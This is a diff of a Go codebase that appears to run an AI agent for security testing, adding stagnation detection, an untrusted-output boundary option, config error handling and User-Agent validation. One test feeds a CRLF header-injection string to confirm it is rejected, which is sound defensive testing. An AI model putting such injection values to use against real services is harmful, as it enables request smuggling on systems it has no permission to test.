raw, err := json.Marshal(s.Schema)
if err != nil {
t.Fatal(err)
}
var schema struct {
Required []string `json:"required"`
}
if err := json.Unmarshal(raw, &schema); err != nil {
t.Fatalf("schema %s: %v", raw, err)
}
for _, r := range schema.Required {
if strings.TrimSpace(r) == "" {
t.Errorf("blank required entry in schema %s", raw)
}
}
return
}
t.Fatal("list_task_credentials not seeded")
}
// TestDecorateToolInjectsDefaults verifies a schema "default" fills a missing param
// before the underlying handler runs, and an explicitly-provided value is kept.
func TestDecorateToolInjectsDefaults(t *testing.T) {
+105 -2
View File
@@ -17,6 +17,92 @@ import (
// upstream nodes it derived from: facts/intents/findings) and yields (the facts/
// findings it produced) — without pulling full payloads. parentsOf/yieldsOf are
// built from the exploration edges in graph_overview.
// normalizeDirection fingerprints an intent summary for stagnation detection:
// case-folded, all digits collapsed to '#', whitespace collapsed. Two intents
// aimed at the same thing with different IDs/counts/URLs fingerprint the same.
func normalizeDirection(summary string) string {
var b strings.Builder
digit := false
for _, r := range strings.ToLower(strings.Join(strings.Fields(summary), " ")) {
if r >= '0' && r <= '9' {
if !digit {
b.WriteByte('#')
}
digit = true
continue
}
digit = false
b.WriteRune(r)
}
return b.String()
}
// detectStagnation (ouroboros take, #99) flags directions whose normalized
// summary repeats stagnationMinRepeats times among finished intents while no
// finding has been produced since the FIRST attempt at that direction: the
// planner is grinding the same shape of work without yield. Pure function over
// (finished intents, findings) so it is unit-testable without a store.
const stagnationMinRepeats = 3
func detectStagnation(done, findings []*db.Node) []map[string]any {
type dir struct {
firstID int64
repeats int
summary string
}
dirs := map[string]*dir{}
order := []string{}
for _, n := range done {
var payload map[string]any
_ = json.Unmarshal(n.Payload, &payload)
summ, _ := payload["summary"].(string)
if strings.TrimSpace(summ) == "" {
continue
}
fp := normalizeDirection(summ)
if fp == "" {
continue
}
d, ok := dirs[fp]
if !ok {
d = &dir{firstID: n.ID, summary: summ}
dirs[fp] = d
order = append(order, fp)
}
if n.ID < d.firstID {
d.firstID = n.ID
d.summary = summ
}
d.repeats++
}
var out []map[string]any
for _, fp := range order {
d := dirs[fp]
if d.repeats < stagnationMinRepeats {
continue
}
produced := false
for _, f := range findings {
if f.ID > d.firstID {
produced = true
break
}
}
if produced {
continue
}
out = append(out, map[string]any{
"direction": d.summary,
"repeats": d.repeats,
"since": d.firstID,
})
if len(out) >= 3 {
break
}
}
return out
}
func compactIntents(ns []*db.Node, parentsOf, yieldsOf map[int64][]int64) []map[string]any {
out := make([]map[string]any, 0, len(ns))
for _, n := range ns {
@@ -265,8 +351,16 @@ func pidList(raw []json.RawMessage) []int64 {
func obj(props map[string]any, required ...string) map[string]any {
m := map[string]any{"type": "object", "properties": props}
if len(required) > 0 {
m["required"] = required
// Blank names are dropped, and "required" is omitted when nothing is left:
// strict providers reject "required": [""] and fail every run carrying the tool.
req := make([]string, 0, len(required))
for _, r := range required {
if strings.TrimSpace(r) != "" {
req = append(req, r)
}
}
if len(req) > 0 {
m["required"] = req
}
return m
}
@@ -449,6 +543,15 @@ func (t *ToolSet) graphOverviewData() map[string]any {
factNodes, _ := t.ts.ListByKind(db.KindFact, 1000) // newest first
out["findings_total"] = len(vulnNodes) // total confirmed findings (goal judgment looks here); details in finding_list (latest window)
out["facts"] = len(factNodes) // number of exploration facts/conclusions (including negative conclusions)
// Stagnation surfacing (#99): repeated finished directions with no findings
// since their first attempt. Self-describing payload — the instruction ships
// with the data so no prompt-template change is needed on deployed installs.
if stale := detectStagnation(recentDone, vulnNodes); len(stale) > 0 {
out["stagnation_warning"] = map[string]any{
"directions": stale,
"instruction": "these directions were dispatched repeatedly with zero findings produced since their first attempt — do NOT re-dispatch the same approach again; open a materially different direction, or judge the goal on the existing evidence instead of grinding",
}
}
// findings are the task's highest-value output → the overview carries the latest
// window (≤10 entries; vulnNodes is id-DESC, i.e. newest first) so the planner sees
// the recently confirmed findings at a glance each round when judging goals; use
+1 -1
View File
@@ -64,7 +64,7 @@ func (t *ToolSet) listTaskCredentials() actool.CoreTool {
return writeTool(
"list_task_credentials",
"List this task's test accounts: user-declared accounts (e.g. program-provided aliases; a user-declared entry with an empty password means: register an account on that domain with a strong password, then record it via save_task_credential) plus accounts recorded by earlier runs. Check this BEFORE registering a new account, and use matching entries for authenticated testing.",
obj(map[string]any{}, ""),
obj(map[string]any{}),
func(_ context.Context, _ json.RawMessage) (actool.Result, error) {
if t.ts == nil {
return actool.Errorf("list_task_credentials is not enabled: task store is not initialized"), nil
+19
View File
@@ -0,0 +1,19 @@
package agent
import (
"os"
"strings"
)
// untrustedBoundaryEnabled reports whether ARTEX_UNTRUSTED_BOUNDARY opts in to
// Norma's untrusted-output boundary (agentcore.Options.UntrustedOutputBoundary:
// tool results framed between nonce-tagged markers). Only "1", "true" and "on"
// (case- and space-insensitive) enable it; unset, empty or anything else keeps
// it off.
func untrustedBoundaryEnabled() bool {
switch strings.ToLower(strings.TrimSpace(os.Getenv("ARTEX_UNTRUSTED_BOUNDARY"))) {
case "1", "true", "on":
return true
}
return false
}
+59
View File
@@ -0,0 +1,59 @@
package agent
import (
"os"
"strings"
"testing"
)
func TestUntrustedBoundaryEnabled(t *testing.T) {
for _, tc := range []struct {
env string
want bool
}{
{"", false},
{"0", false},
{"false", false},
{"yes", false},
{"1", true},
{"true", true},
{"on", true},
{" TRUE ", true},
{"On", true},
} {
t.Setenv("ARTEX_UNTRUSTED_BOUNDARY", tc.env)
if got := untrustedBoundaryEnabled(); got != tc.want {
t.Errorf("ARTEX_UNTRUSTED_BOUNDARY=%q: got %v, want %v", tc.env, got, tc.want)
}
}
}
func TestUntrustedBoundaryDisabledWhenUnset(t *testing.T) {
t.Setenv("ARTEX_UNTRUSTED_BOUNDARY", "1") // registers restoration of the original value
os.Unsetenv("ARTEX_UNTRUSTED_BOUNDARY")
if untrustedBoundaryEnabled() {
t.Fatal("ARTEX_UNTRUSTED_BOUNDARY unset: got true, want false")
}
}
// Structural, not behavioural: the four agentcore.Options literals live inside
// run methods that need a database and an LLM provider, so this only checks
// that each source file passes the helper to the option exactly once.
func TestUntrustedBoundaryWiredInOptionsLiterals(t *testing.T) {
const want = "UntrustedOutputBoundary: untrustedBoundaryEnabled(),"
for _, f := range []string{"worker.go", "planner.go", "chat.go", "mainagent.go"} {
src, err := os.ReadFile(f)
if err != nil {
t.Fatal(err)
}
n := 0
for _, line := range strings.Split(string(src), "\n") {
if strings.TrimSpace(line) == want {
n++
}
}
if n != 1 {
t.Errorf("%s: %d lines equal to %q, want 1", f, n, want)
}
}
}
+91
View File
@@ -0,0 +1,91 @@
package agent
import (
"net/http"
"net/http/httptest"
"strings"
"testing"
)
// serveUA spins up an httptest server that records the User-Agent of the request
// it receives, drives one request through a quotaAwareHTTPClient built with the
// given userAgent, and returns what actually reached the wire.
func serveUA(t *testing.T, userAgent string) string {
t.Helper()
got := make(chan string, 1)
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
got <- r.Header.Get("User-Agent")
w.WriteHeader(http.StatusOK)
}))
defer srv.Close()
client, err := quotaAwareHTTPClient("", "", userAgent)
if err != nil {
t.Fatalf("quotaAwareHTTPClient: %v", err)
}
resp, err := client.Get(srv.URL)
if err != nil {
t.Fatalf("GET: %v", err)
}
resp.Body.Close()
return <-got
}
func TestUserAgentHeaderSetWhenConfigured(t *testing.T) {
const want = "artex-test-agent/1.2.3"
if got := serveUA(t, want); got != want {
t.Fatalf("User-Agent = %q, want %q", got, want)
}
}
func TestUserAgentHeaderDefaultWhenEmpty(t *testing.T) {
// Empty = no override: the Go client's default UA must reach the server unchanged.
got := serveUA(t, "")
if !strings.HasPrefix(got, "Go-http-client/") {
t.Fatalf("User-Agent = %q, want the default Go-http-client UA when unset", got)
}
}
func TestValidateUserAgentRejectsNewline(t *testing.T) {
if _, err := ValidateUserAgent("good/1.0\r\nX-Injected: 1"); err == nil {
t.Fatalf("expected a newline-containing user agent to be rejected")
}
}
// The rule is "no control character at all" (r < 0x20 or r == 0x7f), so the
// non-newline controls are rejected too, TAB included: a header value is one
// printable token, not something to lay out with tabs.
func TestValidateUserAgentRejectsControlCharacters(t *testing.T) {
for name, in := range map[string]string{
"NUL": "good/1.0\x00",
"US": "good/1.0\x1f",
"DEL": "good/1.0\x7f",
"TAB": "good/1.0\tX",
} {
if _, err := ValidateUserAgent(in); err == nil {
t.Errorf("%s: expected a user agent containing %q to be rejected", name, in)
}
}
}
func TestValidateUserAgentAcceptsPrintableToken(t *testing.T) {
const want = "MyTool/1.0 (contact-free)"
if ua, err := ValidateUserAgent(" " + want + " "); err != nil || ua != want {
t.Fatalf("printable value: got (%q, %v), want (%q, nil)", ua, err, want)
}
}
func TestValidateUserAgentRejectsTooLong(t *testing.T) {
if _, err := ValidateUserAgent(strings.Repeat("a", MaxUserAgentLen+1)); err == nil {
t.Fatalf("expected a user agent longer than %d to be rejected", MaxUserAgentLen)
}
}
func TestValidateUserAgentTrimsAndAllowsEmpty(t *testing.T) {
if ua, err := ValidateUserAgent(" "); err != nil || ua != "" {
t.Fatalf("blank user agent: got (%q, %v), want (\"\", nil)", ua, err)
}
if ua, err := ValidateUserAgent(" my-app/1.0 "); err != nil || ua != "my-app/1.0" {
t.Fatalf("trim: got (%q, %v), want (\"my-app/1.0\", nil)", ua, err)
}
}
+3
View File
@@ -526,6 +526,9 @@ func (w *Worker) execute(ctx context.Context, name string, taskID int64, as *db.
Todos: actool.NewTodoStore(), // session-level scratch todos (TodoWrite), pure planning, discarded on exit
NonStreaming: w.nonStreaming(), // when this profile selects non-streaming, use Provider.Complete
MaxTokens: w.maxTokens(), // 0 = send no cap; the server default decides
// Opt-in via ARTEX_UNTRUSTED_BOUNDARY (default off): nonce-frame tool output as untrusted data.
UntrustedOutputBoundary: untrustedBoundaryEnabled(),
}
if hooks != nil { // typed-nil guard: only set when concrete (avoids harness panic)
opts.Hooks = hooks
+32 -35
View File
@@ -13,12 +13,12 @@ import (
"os/signal"
"path/filepath"
"runtime"
"strings"
"syscall"
"time"
"github.com/Autumn-27/artex/agent"
"github.com/Autumn-27/artex/config"
"github.com/Autumn-27/artex/selfupdate"
"github.com/Autumn-27/artex/server"
)
@@ -42,17 +42,15 @@ func printBanner(addr string) {
version, runtime.GOOS, runtime.GOARCH, runtime.Version(), addr)
}
// main only maps run's result onto the process exit code. The exit code is part
// of the update protocol — the supervising start script reads it to decide
// whether to relaunch us (see selfupdate.ExitRestart) — so the body has to live
// in a function that can *return* rather than os.Exit past its own defers.
// main maps run's result onto the process exit code. The body lives in a
// function that can *return* rather than os.Exit, so its own defers still run.
func main() {
os.Exit(run())
}
func run() int {
var (
addr = flag.String("addr", ":8787", "HTTP listen address")
addr = flag.String("addr", "127.0.0.1:8787", "HTTP listen address")
dataDir = flag.String("data", filepath.Join(config.BaseDir(), "data"), "data directory for SQLite stores (default: data/ next to the executable)")
proxy = flag.String("proxy", "127.0.0.1:8788", "traffic recording proxy address (empty to disable)")
)
@@ -68,16 +66,6 @@ func run() int {
// page can show a live log stream. Do this first, to catch startup logs too.
server.StartLogCapture()
// Self-update bootstrap: swap in a staged binary, or count a post-swap boot
// attempt and roll back if the new build keeps dying. Must run before we open
// the stores or bind a port — this may end with "exit and let the start script
// relaunch me", and there is no point paying for either first.
action, upState := selfupdate.Bootstrap()
server.SetBootUpdateState(upState)
if action == selfupdate.Restart {
return selfupdate.ExitRestart
}
// surface which config file the binary reads (absolute, so `go run`'s relative
// "config.json" — resolved against the CWD — is unambiguous).
cfgPath := config.Path()
@@ -101,18 +89,35 @@ func run() int {
}
defer mgr.Close()
// Surviving this long means a freshly swapped-in build actually works, so drop
// the upgrade marker and stop counting attempts. Until it fires, every boot
// increments the count and a build that keeps dying gets rolled back.
settle := time.AfterFunc(selfupdate.SettleDelay, selfupdate.Settle)
defer settle.Stop()
skillDir := config.SkillDir()
skillDir, err := config.SkillDir()
if err != nil {
log.Printf("[config] %v", err)
return 1
}
if abs, err := filepath.Abs(skillDir); err == nil {
skillDir = abs
}
log.Printf("[config] skill directory: %s", skillDir)
srv := server.New(ctx, mgr, skillDir, *dataDir, config.BaseDir())
// JWT signing key directory: ARTEX_JWT_KEY_DIR (the Docker image points it at
// the /app/keys volume) or the base dir. Never the browsable data dir.
keyDir := strings.TrimSpace(os.Getenv("ARTEX_JWT_KEY_DIR"))
if keyDir == "" {
keyDir = config.BaseDir()
}
if abs, err := filepath.Abs(keyDir); err == nil {
keyDir = abs
}
log.Printf("[config] JWT key directory: %s", keyDir)
// Proxies whose X-Forwarded-For the login rate limit reads; empty trusts none.
trusted, err := server.ParseTrustedProxies(os.Getenv("ARTEX_TRUSTED_PROXIES"))
if err != nil {
log.Printf("[config] ARTEX_TRUSTED_PROXIES: %v", err)
return 1
}
if len(trusted) > 0 {
log.Printf("[config] trusted proxies: %v", trusted)
}
srv := server.New(ctx, mgr, skillDir, *dataDir, keyDir, server.WithSecretScrub(), server.WithTrustedProxies(trusted))
httpSrv := &http.Server{
Addr: *addr,
Handler: srv.Handler(),
@@ -126,22 +131,14 @@ func run() int {
}
}()
// Two ways out: a signal (normal stop → exit 0, the start script stops looping)
// or a staged update / rollback (→ exit 75, the script relaunches us and the
// bootstrap above installs the new build).
code := 0
select {
case <-ctx.Done():
case <-server.RestartRequested():
code = selfupdate.ExitRestart
shutdown(agent.AbortShutdown)
}
// Wait for a stop signal.
<-ctx.Done()
log.Println("shutting down...")
shutdownCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
_ = httpSrv.Shutdown(shutdownCtx)
return code
return 0
}
// shutdownContext deliberately does not derive from signalCtx. If it did, the
+2
View File
@@ -7,6 +7,8 @@ import (
"github.com/Autumn-27/artex/agent"
)
// The shutdown cause must survive the parent context being cancelled first;
// losing it would drop the diagnostic on every graceful stop.
func TestShutdownContextPreservesNamedCause(t *testing.T) {
signalCtx, signalCancel := context.WithCancel(context.Background())
ctx, shutdown := shutdownContext(signalCtx)
+33 -14
View File
@@ -4,7 +4,9 @@ package config
import (
"encoding/json"
"errors"
"fmt"
"io/fs"
"net/url"
"os"
"path/filepath"
@@ -96,16 +98,23 @@ func Path() string {
return candidates[0]
}
// Load reads and parses the config file. A missing/unreadable file yields a zero
// Config (so callers fall back to defaults) rather than an error.
func Load() Config {
// Load reads and parses the config file. A missing file yields a zero Config (so
// callers fall back to defaults). A file that exists but cannot be read or parsed
// is an error: ignoring it would run with defaults the operator did not choose.
func Load() (Config, error) {
var c Config
b, err := os.ReadFile(Path())
if err != nil {
return c
path := Path()
b, err := os.ReadFile(path)
if errors.Is(err, fs.ErrNotExist) {
return c, nil
}
_ = json.Unmarshal(b, &c)
return c
if err != nil {
return c, fmt.Errorf("read config file %s: %w", path, err)
}
if err := json.Unmarshal(b, &c); err != nil {
return Config{}, fmt.Errorf("parse config file %s: %w", path, err)
}
return c, nil
}
// SkillDir returns the skill root directory with precedence:
@@ -113,17 +122,23 @@ func Load() Config {
// env ARTEX_SKILL_DIR > config file (skill_dir) > BaseDir()/skills
//
// The directory is created if it does not exist.
func SkillDir() string {
func SkillDir() (string, error) {
var d string
if v := strings.TrimSpace(os.Getenv("ARTEX_SKILL_DIR")); v != "" {
d = v
} else if v := strings.TrimSpace(Load().SkillDir); v != "" {
d = v
} else {
d = filepath.Join(BaseDir(), "skills")
c, err := Load()
if err != nil {
return "", err
}
if v := strings.TrimSpace(c.SkillDir); v != "" {
d = v
} else {
d = filepath.Join(BaseDir(), "skills")
}
}
_ = os.MkdirAll(d, 0o755)
return d
return d, nil
}
// PostgresDSN resolves the connection string with precedence:
@@ -138,7 +153,11 @@ func PostgresDSN() (dsn, source string, err error) {
if v := strings.TrimSpace(os.Getenv("ARTEX_PG_DSN")); v != "" {
return v, "environment variable ARTEX_PG_DSN", nil
}
db := Load().Database
c, err := Load()
if err != nil {
return "", "", err
}
db := c.Database
if d := strings.TrimSpace(db.DSN); d != "" {
return d, "config file " + Path() + " (database.dsn)", nil
}
+22
View File
@@ -3,6 +3,7 @@ package config
import (
"os"
"path/filepath"
"strings"
"testing"
)
@@ -40,3 +41,24 @@ func TestPostgresDSNPrecedence(t *testing.T) {
t.Fatalf("file dsn verbatim, got %q err %v", got, err)
}
}
// A config file that exists but is not valid JSON must fail loudly, not run with
// defaults (or report "no database config") as if the file were absent.
func TestMalformedConfigIsAnError(t *testing.T) {
cfgPath := filepath.Join(t.TempDir(), "config.json")
// What install.sh used to write for a password containing a double quote.
os.WriteFile(cfgPath, []byte(`{"database":{"host":"h","password":"a"b","dbname":"d"},"skill_dir":"/s"}`), 0o644)
t.Setenv("ARTEX_CONFIG", cfgPath)
t.Setenv("ARTEX_PG_DSN", "")
t.Setenv("ARTEX_SKILL_DIR", "")
if _, _, err := PostgresDSN(); err == nil || !strings.Contains(err.Error(), "parse config file") {
t.Fatalf("PostgresDSN: want a parse error, got %v", err)
}
if d, err := SkillDir(); err == nil {
t.Fatalf("SkillDir: want a parse error, got dir %q", d)
}
if _, err := Load(); err == nil {
t.Fatal("Load: want a parse error")
}
}
+20 -14
View File
@@ -64,6 +64,10 @@ type LLMProfile struct {
// or sticky routing off a session-id header. "" = not sent. Maps to
// agent.Config.SessionHeaderKey.
SessionHeaderKey string `json:"session_header_key"`
// UserAgent, when non-empty, overrides the User-Agent header on every outbound
// request built from this profile. "" = don't override (keep the default UA);
// old profiles behave exactly as before. Maps to agent.Config.UserAgent.
UserAgent string `json:"user_agent"`
// Cost ledger: EUR per 1M tokens (0 = unset; cost is computed only when a
// price is set). Set through the same profile API/SaveProfile path.
PriceInputPerM float64 `json:"price_input_per_m,omitempty"`
@@ -89,8 +93,8 @@ type RetryOverride struct {
// profileCols is the read column list (hint variant, no api key) shared by the
// list query; profileColsKey is the same with api_key for the single-row loads.
const profileRetryCols = `COALESCE(retry_connect_attempts,0),COALESCE(retry_connect_interval_ms,0),COALESCE(retry_empty_attempts,0),COALESCE(retry_empty_interval_ms,0),COALESCE(retry_stream_attempts,0),COALESCE(retry_stream_interval_ms,0)`
const profileCols = `id,name,format,COALESCE(base_url,''),COALESCE(proxy,''),model,COALESCE(api_key_hint,''),rate_per_second,rate_per_minute,context_window_k,COALESCE(reasoning_effort,''),is_default,priority,pool_exclude,COALESCE(thinking_type,''),COALESCE(streaming,true),COALESCE(max_tokens,0),COALESCE(max_tokens_field,''),COALESCE(session_header_key,''),` + profileRetryCols + `,COALESCE(price_input_per_m,0),COALESCE(price_output_per_m,0),COALESCE(price_cache_read_per_m,0),COALESCE(price_cache_write_per_m,0)`
const profileColsKey = `id,name,format,COALESCE(base_url,''),COALESCE(proxy,''),model,COALESCE(api_key,''),rate_per_second,rate_per_minute,context_window_k,COALESCE(reasoning_effort,''),is_default,priority,pool_exclude,COALESCE(thinking_type,''),COALESCE(streaming,true),COALESCE(max_tokens,0),COALESCE(max_tokens_field,''),COALESCE(session_header_key,''),` + profileRetryCols + `,COALESCE(price_input_per_m,0),COALESCE(price_output_per_m,0),COALESCE(price_cache_read_per_m,0),COALESCE(price_cache_write_per_m,0)`
const profileCols = `id,name,format,COALESCE(base_url,''),COALESCE(proxy,''),model,COALESCE(api_key_hint,''),rate_per_second,rate_per_minute,context_window_k,COALESCE(reasoning_effort,''),is_default,priority,pool_exclude,COALESCE(thinking_type,''),COALESCE(streaming,true),COALESCE(max_tokens,0),COALESCE(max_tokens_field,''),COALESCE(session_header_key,''),` + profileRetryCols + `,COALESCE(price_input_per_m,0),COALESCE(price_output_per_m,0),COALESCE(price_cache_read_per_m,0),COALESCE(price_cache_write_per_m,0),COALESCE(user_agent,'')`
const profileColsKey = `id,name,format,COALESCE(base_url,''),COALESCE(proxy,''),model,COALESCE(api_key,''),rate_per_second,rate_per_minute,context_window_k,COALESCE(reasoning_effort,''),is_default,priority,pool_exclude,COALESCE(thinking_type,''),COALESCE(streaming,true),COALESCE(max_tokens,0),COALESCE(max_tokens_field,''),COALESCE(session_header_key,''),` + profileRetryCols + `,COALESCE(price_input_per_m,0),COALESCE(price_output_per_m,0),COALESCE(price_cache_read_per_m,0),COALESCE(price_cache_write_per_m,0),COALESCE(user_agent,'')`
// scanProfile reads one row in the profileCols / profileColsKey column order. The
// 7th column lands in APIKeyHint or APIKey depending on which list the caller used.
@@ -101,7 +105,8 @@ func scanProfile(sc interface{ Scan(...any) error }, into *string, p *LLMProfile
&p.Retry.Connect.Attempts, &p.Retry.Connect.IntervalMS,
&p.Retry.Empty.Attempts, &p.Retry.Empty.IntervalMS,
&p.Retry.Stream.Attempts, &p.Retry.Stream.IntervalMS,
&p.PriceInputPerM, &p.PriceOutputPerM, &p.PriceCacheReadPerM, &p.PriceCacheWritePerM)
&p.PriceInputPerM, &p.PriceOutputPerM, &p.PriceCacheReadPerM, &p.PriceCacheWritePerM,
&p.UserAgent)
}
func (d *DB) ListProfiles() ([]*LLMProfile, error) {
@@ -143,13 +148,14 @@ func (d *DB) ProfileByID(id int64) (*LLMProfile, error) {
}
// PoolProfiles returns the failover chain in run order, api keys included: the
// active profile first, then every other keyed profile that isn't excluded, by
// active profile first, then every other usable profile that isn't excluded, by
// priority DESC (id ASC to stay stable). Profiles without an api key can't serve
// a request, so they never enter the chain. The ordering IS the policy — callers
// walk the slice front to back.
// a request — except Ollama ('ollama'), which is a keyless local server — so
// they never enter the chain. The ordering IS the policy — callers walk the
// slice front to back.
func (d *DB) PoolProfiles() ([]*LLMProfile, error) {
rows, err := d.Query(`SELECT ` + profileColsKey + ` FROM llm_profiles
WHERE COALESCE(api_key,'') <> '' AND (is_default OR NOT pool_exclude)
WHERE (COALESCE(api_key,'') <> '' OR format='ollama') AND (is_default OR NOT pool_exclude)
ORDER BY is_default DESC, priority DESC, id ASC`)
if err != nil {
return nil, err
@@ -179,27 +185,27 @@ func (d *DB) SaveProfile(p *LLMProfile) (int64, error) {
r := p.Retry.Clamped()
if p.ID == 0 {
var id int64
err := d.QueryRow(`INSERT INTO llm_profiles(name,format,base_url,proxy,model,api_key,api_key_hint,rate_per_second,rate_per_minute,context_window_k,reasoning_effort,priority,pool_exclude,thinking_type,streaming,max_tokens,max_tokens_field,session_header_key,retry_connect_attempts,retry_connect_interval_ms,retry_empty_attempts,retry_empty_interval_ms,retry_stream_attempts,retry_stream_interval_ms)
VALUES ($1,$2,NULLIF($3,''),NULLIF($4,''),$5,NULLIF($6,''),NULLIF($7,''),$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18,$19,$20,$21,$22,$23,$24) RETURNING id`,
err := d.QueryRow(`INSERT INTO llm_profiles(name,format,base_url,proxy,model,api_key,api_key_hint,rate_per_second,rate_per_minute,context_window_k,reasoning_effort,priority,pool_exclude,thinking_type,streaming,max_tokens,max_tokens_field,session_header_key,retry_connect_attempts,retry_connect_interval_ms,retry_empty_attempts,retry_empty_interval_ms,retry_stream_attempts,retry_stream_interval_ms,user_agent)
VALUES ($1,$2,NULLIF($3,''),NULLIF($4,''),$5,NULLIF($6,''),NULLIF($7,''),$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18,$19,$20,$21,$22,$23,$24,$25) RETURNING id`,
p.Name, p.Format, p.BaseURL, p.Proxy, p.Model, p.APIKey, hint, p.RatePerSecond, p.RatePerMinute, p.ContextWindowK, p.ReasoningEffort, p.Priority, p.PoolExclude, p.ThinkingType, p.Streaming, p.MaxTokens, p.MaxTokensField, p.SessionHeaderKey,
r.Connect.Attempts, r.Connect.IntervalMS, r.Empty.Attempts, r.Empty.IntervalMS, r.Stream.Attempts, r.Stream.IntervalMS).Scan(&id)
r.Connect.Attempts, r.Connect.IntervalMS, r.Empty.Attempts, r.Empty.IntervalMS, r.Stream.Attempts, r.Stream.IntervalMS, p.UserAgent).Scan(&id)
if err == nil {
_, err = d.saveProfilePrices(id, p)
}
return id, err
}
if p.APIKey == "" {
_, err := d.Exec(`UPDATE llm_profiles SET name=$1,format=$2,base_url=NULLIF($3,''),proxy=NULLIF($4,''),model=$5,rate_per_second=$6,rate_per_minute=$7,context_window_k=$8,reasoning_effort=$9,priority=$10,pool_exclude=$11,thinking_type=$12,streaming=$13,max_tokens=$14,max_tokens_field=$15,session_header_key=$16,retry_connect_attempts=$17,retry_connect_interval_ms=$18,retry_empty_attempts=$19,retry_empty_interval_ms=$20,retry_stream_attempts=$21,retry_stream_interval_ms=$22 WHERE id=$23`,
_, err := d.Exec(`UPDATE llm_profiles SET name=$1,format=$2,base_url=NULLIF($3,''),proxy=NULLIF($4,''),model=$5,rate_per_second=$6,rate_per_minute=$7,context_window_k=$8,reasoning_effort=$9,priority=$10,pool_exclude=$11,thinking_type=$12,streaming=$13,max_tokens=$14,max_tokens_field=$15,session_header_key=$16,retry_connect_attempts=$17,retry_connect_interval_ms=$18,retry_empty_attempts=$19,retry_empty_interval_ms=$20,retry_stream_attempts=$21,retry_stream_interval_ms=$22,user_agent=$23 WHERE id=$24`,
p.Name, p.Format, p.BaseURL, p.Proxy, p.Model, p.RatePerSecond, p.RatePerMinute, p.ContextWindowK, p.ReasoningEffort, p.Priority, p.PoolExclude, p.ThinkingType, p.Streaming, p.MaxTokens, p.MaxTokensField, p.SessionHeaderKey,
r.Connect.Attempts, r.Connect.IntervalMS, r.Empty.Attempts, r.Empty.IntervalMS, r.Stream.Attempts, r.Stream.IntervalMS, p.ID)
r.Connect.Attempts, r.Connect.IntervalMS, r.Empty.Attempts, r.Empty.IntervalMS, r.Stream.Attempts, r.Stream.IntervalMS, p.UserAgent, p.ID)
if err == nil {
_, err = d.saveProfilePrices(p.ID, p)
}
return p.ID, err
}
_, err := d.Exec(`UPDATE llm_profiles SET name=$1,format=$2,base_url=NULLIF($3,''),proxy=NULLIF($4,''),model=$5,api_key=$6,api_key_hint=$7,rate_per_second=$8,rate_per_minute=$9,context_window_k=$10,reasoning_effort=$11,priority=$12,pool_exclude=$13,thinking_type=$14,streaming=$15,max_tokens=$16,max_tokens_field=$17,session_header_key=$18,retry_connect_attempts=$19,retry_connect_interval_ms=$20,retry_empty_attempts=$21,retry_empty_interval_ms=$22,retry_stream_attempts=$23,retry_stream_interval_ms=$24 WHERE id=$25`,
_, err := d.Exec(`UPDATE llm_profiles SET name=$1,format=$2,base_url=NULLIF($3,''),proxy=NULLIF($4,''),model=$5,api_key=$6,api_key_hint=$7,rate_per_second=$8,rate_per_minute=$9,context_window_k=$10,reasoning_effort=$11,priority=$12,pool_exclude=$13,thinking_type=$14,streaming=$15,max_tokens=$16,max_tokens_field=$17,session_header_key=$18,retry_connect_attempts=$19,retry_connect_interval_ms=$20,retry_empty_attempts=$21,retry_empty_interval_ms=$22,retry_stream_attempts=$23,retry_stream_interval_ms=$24,user_agent=$25 WHERE id=$26`,
p.Name, p.Format, p.BaseURL, p.Proxy, p.Model, p.APIKey, hint, p.RatePerSecond, p.RatePerMinute, p.ContextWindowK, p.ReasoningEffort, p.Priority, p.PoolExclude, p.ThinkingType, p.Streaming, p.MaxTokens, p.MaxTokensField, p.SessionHeaderKey,
r.Connect.Attempts, r.Connect.IntervalMS, r.Empty.Attempts, r.Empty.IntervalMS, r.Stream.Attempts, r.Stream.IntervalMS, p.ID)
r.Connect.Attempts, r.Connect.IntervalMS, r.Empty.Attempts, r.Empty.IntervalMS, r.Stream.Attempts, r.Stream.IntervalMS, p.UserAgent, p.ID)
if err == nil {
_, err = d.saveProfilePrices(p.ID, p)
}
+4
View File
@@ -0,0 +1,4 @@
package db
// InterceptSource exposes interceptSource to external (db_test) tests.
var InterceptSource = interceptSource
+27 -2
View File
@@ -12,6 +12,19 @@ import (
const FindingRetestAgentKey = "retester"
// retestNoteSummaryRunes caps the retest summary copied into verification_note.
const retestNoteSummaryRunes = 200
// truncateRunes returns s trimmed to at most n runes, with an ellipsis when cut.
func truncateRunes(s string, n int) string {
s = strings.TrimSpace(s)
r := []rune(s)
if len(r) <= n {
return s
}
return string(r[:n]) + "…"
}
var ErrRetestNotRunning = errors.New("this retest has ended or has not started; please start a new retest from the finding details")
// FindingRetest is an immutable historical test once its conversation turn ends.
@@ -225,17 +238,29 @@ func (d *DB) FinishFindingRetest(id int64, status, reason string) error {
if err != nil {
return err
}
var finalStatus, verdict string
var finalStatus, verdict, summary string
err = tx.QueryRow(`UPDATE finding_retests SET
status=CASE WHEN $2='completed' AND verdict='' THEN 'failed' ELSE $2 END,
error=CASE WHEN $2='completed' AND verdict='' THEN 'Agent did not save the retest conclusion; please review the conversation and retest again' ELSE $3 END,
finished_at=now() WHERE id=$1 AND status IN ('pending','running') RETURNING status,verdict`, id, status, reason).Scan(&finalStatus, &verdict)
finished_at=now() WHERE id=$1 AND status IN ('pending','running') RETURNING status,verdict,summary`, id, status, reason).Scan(&finalStatus, &verdict, &summary)
if errors.Is(err, sql.ErrNoRows) {
return nil // A replay must not overwrite a later manual triage decision.
}
if err != nil {
return err
}
// A completed reproduced/fixed retest is an independent proof: it upgrades the
// machine verification state, but only from unverified / not_assessed / blocked.
// A verified finding keeps its POE level and note. An inconclusive, failed or
// stopped retest never downgrades anything; its verdict stays in finding_retests.
// The human disposition (status) is not touched here.
if finalStatus == "completed" && (verdict == "reproduced" || verdict == "fixed") {
note := fmt.Sprintf("retest #%d: %s — %s", id, verdict, truncateRunes(summary, retestNoteSummaryRunes))
if _, err := tx.Exec(`UPDATE findings SET verification_status='verified', verification_note=$2
WHERE id=$1 AND verification_status IN ('unverified','not_assessed','blocked')`, findingID, note); err != nil {
return err
}
}
if finalStatus == "completed" && verdict == "fixed" {
// Go through the notifying version, sharing the same semantics as a
// manual status change on the details page.
+107
View File
@@ -0,0 +1,107 @@
package db
import (
"strings"
"testing"
)
// runRetest drives one retest session to its terminal state with the given
// staged verdict, using the same calls the server makes, and returns its ID.
